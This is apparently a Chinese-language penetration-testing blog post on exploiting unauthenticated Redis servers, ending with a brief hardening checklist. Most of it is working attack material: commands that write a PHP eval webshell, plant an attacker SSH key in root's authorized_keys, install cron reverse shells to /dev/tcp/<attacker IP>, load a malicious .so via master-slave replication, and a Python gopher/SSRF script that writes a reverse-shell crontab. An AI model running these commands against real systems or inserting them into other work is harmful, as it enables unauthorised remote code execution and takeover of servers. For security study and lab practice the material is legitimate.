渗透测试-31:Redis

基础知识

  • 端口号:6379

  • sentinel.conf 端口号:26379

  • 官网:https://redis.io/docs/getting-started/installation/install-redis-on-windows/

  • Kali 安装 redis

    # 卸载
    apt-get purge --auto-remove redis-server
    
    # 安装
    apt install gcc make
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar -zxvf redis-3.2.0.tar.gz
    rm redis-3.2.0.tar.gz
    cd redis-3.2.0/
    make
    
    # 配置
    vim redis.conf
    bind 127.0.0.1 										# 注释这行语句,代表任意机器都可以登录 redis
    protected-mode 										# 设为 no,代表关闭安全设置
    cp redis.conf ./src/redis.conf
    ./src/redis-server redis.conf 						# 启动redis-server										
    export PATH=/root/Desktop/redis-3.2.0/src:$PATH		# 添加环境变量
    netstat -ntulp										# 检查服务
    
  • Ubuntu for Windows 安装 redis

    apt-add-repository ppa:redislabs/redis
    apt-get update
    apt-get upgrade
    apt-get install redis-server
    service redis-server start
    
    # 测试
    redis-cli
    127.0.0.1:6379> ping
    PONG
    
  • 连接 Redis 服务器

    # 交互式方式
    redis-cli -h <host> -p <port>
    # 命令方式
    redis-cli -h <host> -p <port> <command>
    
  • 常见命令

    # 查看信息
    info
    # 删除所有数据库内容
    flushall
    # 刷新数据库
    flushdb
    # 查看所有键,使用 select num 可以查看键值数据
    keys *
    # 设置变量
    set test "who am i"
    # 设置路径等配置
    config set dir dirpath
    # 获取路径及数据配置信息
    config get dir/dbfilename
    # 保存
    save
    # 变量,查看变量名称
    get
    

Redis未授权访问

未授权访问原因

  • 配置登录策略导致任意机器都可以登录 redis
  • 未设置密码或者设置弱口令

测试

# 使用攻击机远程登录 redis 服务器
redis-cli -h <redis服务器IP>

写入文件getshell

  • 利用条件:

    • 未授权访问或密码已知
    • 服务器开启 WEB 服务且 WEB 目录路径已知
  • 写入 webshell

    # 切换目录到网站的根目录
    config set dir /var/www/html/
    
    # 写入恶意代码到内存中(1)
    set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
    
    # 写入恶意代码到内存中(2)
    set xx "\n\n\n<?php phpinfo();?>\n\n\n"
    
    # 在磁盘中生成木马文件
    config set dbfilename shell.php
    
    # 将内存之中的数据导出到磁盘文件
    save
    
  • 检查 webshell

    • kali 开启 apache

      # 修改 apache2 默认监听端口号为 8080
      vim /etc/apache2/ports.conf
      
      # 在终端输入
      /etc/init.d/apache2 start
      
    • 测试:在浏览器中访问 <redis 服务器IP>:8080/shell.php,成功回显 phpinfo 后用蚁剑进行连接

写入SSH公钥远程连接

  • 利用条件:

    • redis 以 root 身份运行
    • 未授权访问或密码已知
    • 服务器开放 SSH 服务且允许密钥登录
  • redis 服务器开启 ssh 服务

    /etc/init.d/ssh start
    service ssh status
    
  • 修改 redis 服务器密码

    # 登录 redis 服务器
    redis-cli -h <redis服务器IP>
    
    # 修改密码
    config set requirepass <密码>
    exit
    
    # 测试登录 redis 服务器
    redis-cli -h <redis服务器IP> -a <密码>
    
  • 攻击机生成 ssh-rsa 密匙

    ssh-keygen -t rsa
    
  • 将攻击机的 ssh 密钥写入到 redis 服务器的内存

    # 导出 key(\n\n是为了防止乱码)
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    
    # 将生成的公钥写入 redis 服务器的内存之中
    cat key.txt | redis-cli -h <redis服务器IP> -a <密码> -x set xxx
    
    # 测试
    redis-cli -h <redis服务器IP> -a <密码>
    keys *
    get xxx
    
  • redis 服务器将内存中的 ssh 密钥导出文件到磁盘(本质是更改 redis 的备份路径)

    # 若 /root/.ssh 不存在会显示失败
    config set dir /root/.ssh
      
    # 设置文件名(不能改成其他的)并导出
    config set dbfilename authorized_keys
    save
    
  • 攻击机登录 redis 服务器的 ssh

    # 连接
    ssh -i /root/.ssh/id_rsa root@<redis服务器IP>
    yes
    
    # 测试
    ifconfig
    

计划任务反弹shell

  • 利用条件:

    • redis 以 root 身份运行
    • 未授权访问或密码已知
  • 攻击端开启监听

    nc -lvp <PORT>
    
  • 写入一句话

    # 每分钟执行一次
    set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击机IP>/<PORT> 0>&1\n\n"
    
    # 设置导出的路径
    config set dir /var/spool/cron/				# Centos系列
    config set dir /var/spool/cron/crontabs/	# Debian/Ubuntu系列
    
    # 设置导出文件名为 root
    config set dbfilename root
    
    # 保存
    save
    

    或者

    # 每分钟执行一次
    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击机IP>/<PORT> 0>&1\n\n" | redis-cli -h <redis服务器IP> -a <密码> -x set 1
    
    # 设置导出的路径
    redis-cli -h <redis服务器IP> -a <密码> config set dir /var/spool/cron/		# Centos系列
    redis-cli -h <redis服务器IP> -a <密码> config set dir /var/spool/crontabs/	# Debian/Ubuntu系列
    
    # 设置导出文件名为 root
    redis-cli -h <redis服务器IP> -a <密码> config set dbfilename root
    
    # 保存
    redis-cli -h <redis服务器IP> -a <密码> save
    

主从复制RCE

  • 利用条件:

    • 未授权访问或密码已知
    • Redis <= 5.0.5
  • 测试版本:redis-4.0.0.tar.gz

  • 原理:

    • 未授权的 redis 会导致 getshell,而这种方式是通过写文件来完成 getshell 的,这种方式的主要问题在于,redis 保存的数据并不是简单的 json 或者是 csv,所以写入的文件都会有大量的无用数据,利用 crontab、ssh key、webshell 这样的文件都有一定容错性,再加上 crontab 和 ssh 服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的 getshell 方式基本就可以说是很通杀了。

    • 但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker 就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除 redis 以外的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,只靠写文件就很难再 getshell 了,在这种情况下,我们就需要其他的利用手段了。

    • Redis 4.x、5.x 版本中,提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。

    • Reids 4.x 之后,通过外部拓展,可以在 redis 中实现一个新的 redis 命令,构造恶意 .so 文件。

    • 在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件,即可执行命令。

    • 简单的说,攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。

  • EXP下载:

    注意:目标靶机是不能开启保护模式

    # 未授权
    git clone https://github.com/n0b0dyCN/redis-rogue-server
    
    # 有密码
    git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
    
  • 反弹shell

    # 攻击机
    nc -lvp <PORT>
    
    python3 redis_rogue_server.py -rhost <redis服务器IP> -passwd <密码> -lhost <本机IP>
    # 选项:i/r => <redis服务器IP> => <PORT> => python3 -c "import pty;pty.spawn('/bin/bash')"
    

本地Redis主从复制RCE或反弹shell

  • 测试版本:redis-4.0.0.tar.gz

  • 原理:

    • 上述的原理是,目标机器的 redis 可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。
    • 问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。
    • 这个时候,我们可以通过配合其他漏洞,从目标本地登录 redis。
    • 然后手动执行脚本内写死的一些命令(这些命令的意思是将本机(靶机)redis 作为从机,将攻击机器设置为主机,然后攻击机会自动将一些恶意 so 文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。
  • EXP下载:

    redis-rogue-server/ 的 exp.so 文件复制到 Awsome-Redis-Rogue-Server/ 文件夹中使用,因为 exp.so 带 system 模块

    # 未授权
    git clone https://github.com/n0b0dyCN/redis-rogue-server
    
    # 有密码
    git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
    
  • 攻击机配置 Redis 主从同步

    # 开启主服务器
    python3 redis_rogue_server.py -v -path exp.so
    
    # 查看是否存在模块
    module list
    
    # 一般 tmp 目录都有写权限,所以选择这个目录写入
    config set dir /tmp
    
    # 设置导出文件的名字
    config set dbfilename exp.so
    
    # 进行主从同步,将恶意 so 文件写入到 /tmp
    slaveof <攻击机IP> 15000
    slaveof <redis服务器IP> 15000
    # 可看到主服务器上 FULLRESYNC 全局同步数据中,将恶意的 exp.so 同步到 redis 服务器上
    
    # 查看是否存在模块
    module list
    
    # 加载写入的恶意 so 文件模块
    module load ./exp.so
    
    # 查看恶意 so 有没有加载成功,主要是有没有 “system”
    module list
    
  • 反弹shell

    # 方法一
    nc -lvp <PORT>
    system.rev <攻击机IP> <PORT>
    
    # 方法二
    system.exec "<命令>"
    
  • 关闭主从同步

    slaveof NO ONE
    

通过SSRF反弹shell

知识拓展

RESP协议

  • 定义:

    • redis 客户端与服务端通信,使用 RESP(Redis Serialization Protocal,redis 序列化协议)协议通信,该协议是专门为 redis 设计的通信协议,但也可以用于其它 客户端-服务器 通信的场景。
    • RESP 可以用于序列化不同的数据类型,客户端发送请求时,以字符串数组作为待执行命令的参数。
    • 在 Redis 中,协议数据分为不同的类型,每种类型的数据均以 CRLF(\r\n 换行符)结束,通过数据的首字符区分类型。
  • RESP 协议支持的数据类型:

    • 内联命令(inline command):这类数据表示 Redis 命令,首字符为 Redis 命令的字符,格式为 str1 str2 str3 …。如:exists key1, 命令和参数以空格分隔。
    • 简单字符串(Simple Strings):首字符为 +,后续字符为 string 的内容,且该 string 不能包含 \r 或者 \n 两个字符,最后以 \r\n 结束。如:+OK\r\n,表示 OK 这个 string 数据。
    • 批量字符串(Bulk Strings)
      • bulk string 首字符为 $,紧跟着的是 string 数据的长度,\r\n 后面是内容本身(包含 \r\n 等特殊字符),最后以 \r\n 结束。如:$12\r\nhello\r\nworld\r\n
      • 上面字节串描述了 hello\r\nworld 的内容(中间有个换行)。对于 " " 空串和 null,通过 $ 之后的数字进行区分:$0\r\n\r\n 表示空串;$-1\r\n 表示 null
    • 整数(Integers):以 : 开头,后面跟着整型内容,最后以 \r\n 结尾。如::13\r\n,表示 13 的整数。
    • 数组(Arrays)
      • * 开头,紧跟着数组的长度,\r\n 之后是每个元素的序列化数据。如:*2\r\n+abc\r\n:9\r\n 表示一个长度为 2 的数组:["abc", 9]。数组长度为 0-1 分别表示 空数组null
      • 数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历的方式序列化。如:[[1, 2], ["abc"]],序列化为:*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n
    • 错误数据(Errors)
    *3 		# 代表数组的长度,如:["set","name","Toki"]
    $4 		# 代表字符串的长度,如:"Toki"
    0d0a 	# 即 \r\n 表示 linux 的换行符
    +OK 	# 表示服务端执行成功后返回的字符串
    

Gopher协议

  • 定义:在 http 出现之前,访问网页需要输入的是 gopher://gopher.baidu.com/,而不是 https://www.baidu.com/,而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有 HTML 网页灵活。gopher 协议支持 GET&POST 请求,常用于攻击内网 ftp、redis、telnet、smtp 等服务,还可以利用 gopher 协议访问 redis 反弹 shell

  • 协议格式:gopher://<IP>:<port>/_<TCP/IP数据流><port> 默认为 70

  • 协议的实现:gopher 会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如 GET、POST 请求,redis,mysql 未授权访问等,同时数据部分必须要进行 url 编码,这样 gopher 协议才能正确解析。

  • 支持 gopher 协议的有 curl 和 libcurl

    # nc 监听
    nc -lvp <PORT>
    
    # 使用 curl 来发起 Gopher 请求
    curl gopher://<IP>:<PORT>/_hello
    
    # 发送 http get 请求,get.php 中写入 <?php echo "Hello"." ".$_GET['name']."\n"?>
    curl gopher://<IP>:<PORT>/_GET%20/get.php%3fname=Toki%20HTTP/1.1%0d%0aHost:%20<IP>%0d%0a
    
    # 发送 http post 请求,post.php 中写入 <?php echo "Hello".$_POST['name']."\n";?>
    curl gopher://<IP>:<PORT>/_POST%20/post.php%20HTTP/1.1%0d%0AHost:<IP>%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aname=Toki%0d%0a
    
  • gopher 语句生成工具:https://github.com/tarunkant/Gopherus

    gopherus --exploit redis
    # 选项:phpshell => /var/www/html => <?php echo "hello world"; ?>
    
  • 在线靶场:https://buuoj.cn/

漏洞复现

  • 目标靶机:get.php

    <?php
    $url = $_GET['url'];
    echo $url;
    #var_dump(curl_version());
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
    ?>
    
  • 攻击机 nc 监听

    nc -lvp <PORT>
    
  • 攻击机执行脚本

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import urllib2,urllib
    
    url = "http://<目标靶机IP>/get.php?url="
    gopher = "gopher://<目标靶机IP>:6379/_"
    
    # 攻击脚本,5 个星号代表每分钟执行一次
    data = """"set xxx "\\n* * * * * root bash -i >& /dev/tcp/<攻击机IP>/<PORT>  0>&1\\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    """
    
    def encoder_url(data):
        encoder = ""
        for single_char in data:
            # 先转为ASCII
            encoder += str(hex(ord(single_char)))
        encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
        return encoder
    
    # 二次编码
    encoder = encoder_url(encoder_url(data))
    
    # 生成 payload
    payload = url + urllib.quote(gopher,'utf-8') + encoder
    
    # 发起请求
    request = urllib2.Request(payload)
    response = urllib2.urlopen(request).read()
    

Redis全防护

Redis 的安全设置(设置完后需要重加载配置文件启动 redis)

  1. 绑定内网 IP 地址进行访问
  2. requirepass 设置 redis 密码
  3. 开启保护模式 protected-mode(默认开启)
  4. 修改默认端口
  5. 单独为 redis 设置一个普通账号以低权限运行 Redis 服务
  6. 禁止一些高危命令
  7. 禁止外网访问 Redis
  8. 设置防火墙策略
  9. 保证 authorized_keys 文件的安全
posted @ 2022-05-18 22:13  toki-plus  阅读(183)  评论(0编辑  收藏  举报